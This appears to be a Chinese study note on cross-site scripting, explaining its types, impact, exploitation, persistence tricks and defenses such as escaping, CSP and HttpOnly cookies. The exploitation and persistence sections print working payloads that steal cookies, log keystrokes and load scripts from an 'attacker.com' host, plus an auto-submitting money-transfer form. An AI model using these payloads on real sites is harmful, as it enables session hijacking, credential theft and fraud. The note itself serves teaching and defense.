当前位置: 首页 > article >正文

Web漏洞知识梳理笔记--XSS漏洞原理、类型、危害、利用方式、权限维持、防御措施等

XSS漏洞概述

        跨站脚本攻击(Cross-Site Scripting, XSS)是一种常见的网络安全漏洞,攻击者通过在目标网站上注入恶意脚本,使其在其他用户的浏览器中执行,从而窃取敏感信息、劫持会话、伪造用户身份等。


一、XSS 漏洞的原理

        XSS 漏洞的产生主要是因为 Web 应用未对用户输入的内容进行有效的过滤和转义,使得恶意代码被插入到正常的网页中。攻击者利用 XSS,可以让浏览器执行恶意代码,通常是 JavaScript,但也可能包括 HTML 或其他脚本。

  • 受影响点:包括但不限于输入框、搜索框、评论区、URL 参数、HTTP 头信息等。
  • 核心原理:在 Web 应用将用户输入的数据返回给前端时,未对这些数据进行安全处理,导致恶意脚本嵌入页面中并被执行。

二、XSS 的类型

1. 反射型 XSS (Reflected XSS)
  • 描述:恶意脚本通过 URL 或参数传递给服务器,并在响应时直接返回到浏览器。
  • 特点:脚本不被存储,只有用户点击带有恶意脚本的链接时才会触发。
  • 示例
    http://example.com/search?q=<script>alert('XSS');</script>
    
2. 存储型 XSS (Stored XSS)
  • 描述:恶意脚本被存储在目标网站的数据库或文件中(如评论、文章等),当用户访问相应页面时脚本被执行。
  • 特点:脚本存储在服务器上,影响范围广。
  • 示例
    • 攻击者在评论区输入:
      <script>alert('XSS');</script>
      
    • 所有访问该评论的用户都会触发 XSS。
3. DOM 型 XSS (DOM-Based XSS)
  • 描述:攻击代码通过修改浏览器端的 DOM 环境触发,完全在客户端执行,与服务器无关。
  • 特点:不依赖服务器响应,通常发生在前端 JavaScript 处理时。
  • 示例
    • 攻击者提供的链接:
      http://example.com/#<script>alert('XSS')</script>
      
    • 如果网站的前端代码未对 URL 片段安全处理,则可能直接执行脚本。

三、XSS 的危害

  1. 用户信息泄露
    • 窃取用户的 Cookie、会话标识等敏感信息。
  2. 用户账户劫持
    • 利用窃取的身份信息,冒充用户操作。
  3. 恶意重定向
    • 将用户引导到钓鱼网站。
  4. 植入恶意代码
    • 注入其他类型的恶意脚本,例如键盘记录器。
  5. 系统资源消耗
    • 通过 XSS 执行繁重任务导致资源耗尽,甚至 DoS。

四、XSS 的利用方式

  1. 窃取 Cookie

    • 利用脚本获取用户的 Cookie 并发送到攻击者服务器。
    <script>document.location='http://attacker.com?cookie='+document.cookie;</script>
    
  2. 伪造表单提交

    • 冒充用户提交表单,执行恶意操作。
    <form action="http://example.com/transfer" method="POST">
        <input type="hidden" name="amount" value="10000">
        <input type="hidden" name="to_account" value="attacker">
    </form>
    <script>document.forms[0].submit();</script>
    
  3. 劫持用户输入

    • 监听键盘事件,记录用户的输入(如密码)。
    <script>
        document.onkeypress = function(e) {
            fetch('http://attacker.com/log', {method: 'POST', body: e.key});
        }
    </script>
    
  4. 加载恶意脚本

    • 动态加载远程恶意 JavaScript。
    <script src="http://attacker.com/malware.js"></script>
    

五、XSS 的权限维持方式

  1. 劫持 Cookie 和会话

    • 通过 XSS 获取受害者的 Cookie,模拟其登录状态。
  2. 动态脚本注入

    • 注入恶意代码,确保每次页面加载时都能触发。
    <script>
        document.body.innerHTML += '<script src="http://attacker.com/persist.js"></script>';
    </script>
    
  3. 后门账户创建

    • 如果有权限操作,通过 XSS 创建持久性后门账户。
  4. 恶意持久化数据

    • 利用浏览器本地存储(LocalStorage/SessionStorage)存放恶意代码。

六、防御措施

1. 输入验证
  • 检查用户输入的合法性,并拒绝非预期的内容。
  • 使用白名单验证输入内容(如只能输入字母、数字)。
2. 输出转义
  • 对输出到 HTML、JavaScript、CSS 中的用户输入进行转义。
  • 示例:在输出 HTML 时将 < 转义为 &lt;> 转义为 &gt;
3. 使用安全编码框架
  • 使用诸如 OWASP 提供的编码库(如 Java 的 ESAPI)。
  • 在模板引擎中,启用自动转义功能。
4. Content Security Policy (CSP)
  • 设置 CSP 标头,限制脚本来源。
  • 示例:
    Content-Security-Policy: script-src 'self' https://trusted.cdn.com
    
5. Cookie 设置
  • 设置 HttpOnly 和 Secure 属性,防止通过 JavaScript 窃取 Cookie。
    Set-Cookie: sessionid=abc123; HttpOnly; Secure;
    
6. 禁用危险功能
  • 禁止使用 eval()innerHTML 等可能执行用户输入的功能。
7. 定期漏洞扫描
  • 使用工具(如 Burp Suite、Acunetix)检测 Web 应用中的 XSS 漏洞。
8. 教育开发人员
  • 提高开发人员的安全意识,避免在代码中直接拼接用户输入。


http://www.kler.cn/a/457492.html

相关文章:

  • perl:多线程 简单示例
  • 欧拉-伯努利梁自由波动的频散关系
  • HuatuoGPT-o1:基于40K可验证医学问题的两阶段复杂推理增强框架,通过验证器引导和强化学习提升医学模型的推理能力
  • 头歌实训2-1:面向对象程序设计-基础部分
  • Mac电脑python多版本环境安装与切换
  • Unity Mesh生成Cube
  • 【已解决】“Content-Security-Policy”头缺失
  • C++ 设计模式:建造者模式(Builder Pattern)
  • SpringBoot和SpringCloud对应版本
  • Django Admin 中实现动态表单:无 JavaScript 解决方案
  • 【智能科技与信任网络】2025年区块链、人工智能与计算机技术工程国际会议 (BAICTE 2025)
  • 2-6-1-1 QNX编程入门之进程和线程(三)
  • 【C语言】数组指针与指针数组
  • Formality:匹配(match)是如何进行的?
  • 通过MySQL binlog日志,使用canal同步分库分表数据,到 Elasticsearch
  • 大数据技术-Hadoop(一)Hadoop集群的安装与配置
  • 【每日学点鸿蒙知识】navigation跳转异常、默认加载移动端版本网页、Menu位置、View生成图片保存相册、H5原生交互
  • 2024/12/29 黄冈师范学院计算机学院网络工程《路由期末复习作业一》
  • Linux day 1129
  • java高频面试之SE-05
  • 关于ESD(静电放电)等级的划分
  • .net8使用log4.net并自定义日志表的字段
  • Django管理界面自定义操作重启ECS服务
  • 业务智能化的关键:探索事件驱动的业务规则模型
  • 网络的类型
  • 面试场景题系列:设计键值存储系统